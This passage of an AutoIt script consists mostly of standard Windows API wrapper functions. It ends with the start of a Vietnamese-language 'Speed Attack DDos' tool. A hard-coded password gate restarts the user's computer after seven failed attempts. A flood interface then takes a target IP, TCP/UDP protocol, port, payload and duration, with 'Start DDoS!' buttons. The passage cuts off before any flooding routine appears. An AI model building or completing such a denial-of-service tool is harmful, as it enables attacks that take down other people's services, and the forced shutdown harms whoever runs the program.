$aresult[0] EndFunc Func _winapi_getwindowtext($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid) Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) $ipid = $aresult[2] Return $aresult[0] EndFunc Func _winapi_getwindowwidth($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy) $ix = DllStructGetData($tpoint, "X") $iy = DllStructGetData($tpoint, "Y") EndFunc Func _winapi_globalmemorystatus() Local $tmem = DllStructCreate($tagmemorystatuS.E.X) Local $imem = DllStructGetSize($tmem) DllStructSetData($tmem, 1, $imem) DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem) If @error Then Return SetError(@error, @extended, 0) Local $amem[7] $amem[0] = DllStructGetData($tmem, 2) $amem[1] = DllStructGetData($tmem, 3) $amem[2] = DllStructGetData($tmem, 4) $amem[3] = DllStructGetData($tmem, 5) $amem[4] = DllStructGetData($tmem, 6) $amem[5] = DllStructGetData($tmem, 7) $amem[6] = DllStructGetData($tmem, 8) Return $amem EndFunc Func _winapi_guidfromstring($sguid) Local $tguid = DllStructCreate($tagguid) _winapi_guidfromstringex($sguid, $tguid) If @error Then Return SetError(@error, @extended, 0) Return $tguid EndFunc Func _winapi_guidfromstringex($sguid, $pguid) Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_hiword($ilong) Return BitShift($ilong, 16) EndFunc Func _winapi_inprocess($hwnd, ByRef $hlastwnd) If $hwnd = $hlastwnd Then Return True For $ii = $__gainprocess_winapi[0][0] To 1 Step -1 If $hwnd = $__gainprocess_winapi[$ii][0] Then If $__gainprocess_winapi[$ii][1] Then $hlastwnd = $hwnd Return True Else Return False EndIf EndIf Next Local $iprocessid _winapi_getwindowthreadprocessid($hwnd, $iprocessid) Local $icount = $__gainprocess_winapi[0][0] + 1 If $icount >= 64 Then $icount = 1 $__gainprocess_winapi[0][0] = $icount $__gainprocess_winapi[$icount][0] = $hwnd $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID) Return $__gainprocess_winapi[$icount][1] EndFunc Func _winapi_inttofloat($iint) Local $tint = DllStructCreate("int") Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint)) DllStructSetData($tint, 1, $iint) Return DllStructGetData($tfloat, 1) EndFunc Func _winapi_isclassname($hwnd, $sclassname) Local $sseparator = Opt("GUIDataSeparatorChar") Local $aclassname = StringSplit($sclassname, $sseparator) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $sclasscheck = _winapi_getclassname($hwnd) For $x = 1 To UBound($aclassname) - 1 If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True Next Return False EndFunc Func _winapi_iswindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_iswindowvisible($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True) Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_lineto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loadbitmap($hinstance, $sbitmap) Local $sbitmaptype = "int" If IsString($sbitmap) Then $sbitmaptype = "wstr" Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload) Local $aresult, $simagetype = "int" If IsString($simage) Then $simagetype = "wstr" $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibrary($sfilename) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibraryex($sfilename, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadshell32icon($iiconid) Local $ticons = DllStructCreate("ptr Data") Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1) If @error Then Return SetError(@error, @extended, 0) If $iicons <= 0 Then Return SetError(1, 0, 0) Return DllStructGetData($ticons, "Data") EndFunc Func _winapi_loadstring($hinstance, $istringid) Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_localfree($hmem) Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loword($ilong) Return BitAND($ilong, 65535) EndFunc Func _winapi_makelangid($lgidprimary, $lgidsub) Return BitOR(BitShift($lgidsub, -10), $lgidprimary) EndFunc Func _winapi_makelcid($lgid, $srtid) Return BitOR(BitShift($srtid, -16), $lgid) EndFunc Func _winapi_makelong($ilo, $ihi) Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535)) EndFunc Func _winapi_makeqword($lodword, $hidword) Local $tint64 = DllStructCreate("uint64") Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tdwords, 1, $lodword) DllStructSetData($tdwords, 2, $hidword) Return DllStructGetData($tint64, 1) EndFunc Func _winapi_messagebeep($itype = 1) Local $isound Switch $itype Case 1 $isound = 0 Case 2 $isound = 16 Case 3 $isound = 32 Case 4 $isound = 48 Case 5 $isound = 64 Case Else $isound = -1 EndSwitch Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_msgbox($iflags, $stitle, $stext) BlockInput(0) MsgBox($iflags, $stitle, $stext & " ") EndFunc Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0) DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_moveto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True) Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_muldiv($inumber, $inumerator, $idenominator) Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False) Local $stexttype = "str" If NOT IsString($stext) Then $stexttype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0) If @error Then Return SetError(@error, @extended, 0) Local $iout = $aresult[0] Local $tout = DllStructCreate("wchar[" & $iout & "]") $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout) If @error Then Return SetError(@error, @extended, 0) If $bretstring Then Return DllStructGetData($tout, 1) Return $tout EndFunc Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $fdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error $ilasterror = @extended EndIf EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Func __winapi_parsefiledialogpath($spath) Local $afiles[3] $afiles[0] = 2 Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1) $afiles[1] = $stemp $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1) Return $afiles EndFunc Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF) Local $iextracount = 0 If IsString($aextrapaths) Then If StringLen($aextrapaths) Then $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2) $iextracount = UBound($aextrapaths, 1) EndIf ElseIf IsArray($aextrapaths) Then $iextracount = UBound($aextrapaths) EndIf Local $tpaths, $tpathptrs If $iextracount Then Local $szstruct = "" For $path In $aextrapaths $szstruct &= "wchar[" & StringLen($path) + 1 & "];" Next $tpaths = DllStructCreate($szstruct) $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]") For $i = 1 To $iextracount DllStructSetData($tpaths, $i, $aextrapaths[$i - 1]) DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i) Next DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1) EndIf Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs) If @error Then Return SetError(@error, @extended, False) If $aresult[0] = 0 Then Return SetError(1, 0, $szfile) Return $aresult[1] EndFunc Func _winapi_pointfromrect(ByRef $trect, $fcenter = True) Local $ix1 = DllStructGetData($trect, "Left") Local $iy1 = DllStructGetData($trect, "Top") Local $ix2 = DllStructGetData($trect, "Right") Local $iy2 = DllStructGetData($trect, "Bottom") If $fcenter Then $ix1 = $ix1 + (($ix2 - $ix1) / 2) $iy1 = $iy1 + (($iy2 - $iy1) / 2) EndIf Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $ix1) DllStructSetData($tpoint, "Y", $iy1) Return $tpoint EndFunc Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_primarylangid($lgid) Return BitAND($lgid, 1023) EndFunc Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint) If @error Then Return SetError(1, @extended, False) Return NOT ($aresult[0] = 0) EndFunc Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[4] Return $aresult[0] EndFunc Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[5] Return $aresult[0] EndFunc Func _winapi_rectisempty(ByRef $trect) Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0) EndFunc Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5) Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_registerwindowmessage($smessage) Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_releasecapture() Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture") If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_screentoclient($hwnd, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_selectobject($hdc, $hgdiobj) Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setbkcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setbkmode($hdc, $ibkmode) Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcapture($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcursor($hcursor) Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setdefaultprinter($sprinter) Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0) Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setendoffile($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setevent($hevent) Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0) Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setfocus($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setfont($hwnd, $hfont, $fredraw = True) _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd") EndFunc Func _winapi_sethandleinformation($hobject, $imask, $iflags) Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False) If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3 If NOT $iscolorref Then $i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1)) EndIf Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setparent($hwndchild, $hwndparent) Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setprocessaffinitymask($hprocess, $imask) Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setsyscolors($velements, $vcolors) Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors) Local $ielementnum If NOT $iscarray AND NOT $isearray Then $ielementnum = 1 ElseIf $iscarray OR $isearray Then If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False) If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False) $ielementnum = UBound($velements) EndIf Local $telements = DllStructCreate("int Element[" & $ielementnum & "]") Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]") If NOT $isearray Then DllStructSetData($telements, "Element", $velements, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($telements, "Element", $velements[$x], $x + 1) Next EndIf If NOT $iscarray Then DllStructSetData($tcolors, "NewColor", $vcolors, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1) Next EndIf Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_settextcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setwindowlong($hwnd, $iindex, $ivalue) _winapi_setlasterror(0) Local $sfuncname = "SetWindowLongW" If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowplacement($hwnd, $pwindowplacement) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True) Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0) Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowtext($hwnd, $stext) Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_showcursor($fshow) Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_showerror($stext, $fexit = True) _winapi_msgbox(266256, "Error", $stext) If $fexit Then Exit EndFunc Func _winapi_showmsg($stext) _winapi_msgbox(64 + 4096, "Information", $stext) EndFunc Func _winapi_showwindow($hwnd, $icmdshow = 5) Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_stringfromguid($pguid) Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_stringlena($vstring) Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring) If @error Then Return SetError(1, @extended, 0) Return $acall[0] EndFunc Func _winapi_stringlenw($vstring) Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring) If @error Then Return SetError(1, @extended, 0) Return $acall[0] EndFunc Func _winapi_sublangid($lgid) Return BitShift($lgid, 10) EndFunc Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0) Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_twipsperpixelx() Local $lngdc, $twipsperpixelx $lngdc = _winapi_getdc(0) $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx) _winapi_releasedc(0, $lngdc) Return $twipsperpixelx EndFunc Func _winapi_twipsperpixely() Local $lngdc, $twipsperpixely $lngdc = _winapi_getdc(0) $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy) _winapi_releasedc(0, $lngdc) Return $twipsperpixely EndFunc Func _winapi_unhookwindowshookex($hhk) Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags) Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatewindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitforinputidle($hprocess, $itimeout = -1) Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_waitforsingleobject($hhandle, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True) Local $sunicodetype = "wstr" If NOT IsString($punicode) Then $sunicodetype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]") $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") If $bretstring Then Return DllStructGetData($tmultibyte, 1) Return $tmultibyte EndFunc Func _winapi_windowfrompoint(ByRef $tpoint) Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint) If @error Then Return SetError(1, @extended, 0) Return $aresult[0] EndFunc Func _winapi_writeconsole($hconsole, $stext) Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[4] Return $aresult[0] EndFunc Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr") Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[5] Return $aresult[0] EndFunc #NoTrayIcon GUICreate("Speed Attack DDos 1.0 D-K") GUISetState() $input = GUICtrlCreateInput(" ", 50, 50, "", "", 32) $kiemtra = GUICtrlCreateButton("Kiểm tra PassWord", 50, 200) GUICtrlSetBkColor(-1, 16711680) $number = 0 MsgBox(0, "Thông báo", "Hãy nhập mật khẩu của Tool Vao Đây") While 1 $event = GUIGetMsg() If $event = $kiemtra Then $matkhau = GUICtrlRead($input) If $matkhau = "dnduykhang-mzg@1234!@#$" Then MsgBox(0, "Thành công", "Bạn đã nhập chính xác mật khẩu Mời Bạn Qua Tool DDos") ExitLoop Else $number = $number + 1 MsgBox(0, "Không thành công", "Nhập mật khẩu sai lần " & $number) If $number = 7 Then MsgBox(0, "Warning", "Bạn đã nhập sai mật khẩu quá nhiều khởi động lại máy tính") Shutdown(6) EndIf EndIf EndIf WEnd GUICreate("Speed Attack Flood 1.0", 380, 460, -1, -1, $ws_sizebox) GUICtrlSetBkColor(-1, 16711680) GUISetFont(8, 8, 0, "DuyKhang") GUICtrlSetBkColor(-1, 49151) GUICtrlCreateLabel("Nhap IP Can tan Cong:", 5, 5) $ip = GUICtrlCreateInput(@IPAddress1, 5, 25, 175, 20) GUISetFont(8, 8, 0, "DuyKhang") GUICtrlCreateLabel("Chon the loai tan cong:", 200, 5) $protocol = GUICtrlCreateCombo("TCP", 200, 25, 175, 20, $cbs_dropdownlist) GUICtrlSetData($protocol, "UDP|", "UDP") GUICtrlSetBkColor(-1, 16711680) GUICtrlCreateLabel("Nhap Port:", 200, 55) $port = GUICtrlCreateInput("80", 200, 75, 175, 20) GUICtrlCreateLabel("Data to Send:", 200, 105) $data = GUICtrlCreateInput("D-K Maze-GameVN", 200, 125, 175, 20) GUICtrlCreateLabel("Gui Du Lieu Phan Hoi Den Muc Tieu:", 5, 55) $con = GUICtrlCreateInput("999", 5, 75, 175, 20) GUICtrlCreateLabel("Thoi gian tan cong :", 5, 105) $timeout = GUICtrlCreateInput("999", 5, 125, 175, 20) $start = GUICtrlCreateButton("Start DDoS!", 5, 185, 175, 20) GUICtrlSetBkColor(-1, 49151) $stop = GUICtrlCreateButton("Stop DDoS!", 200, 185, 175, 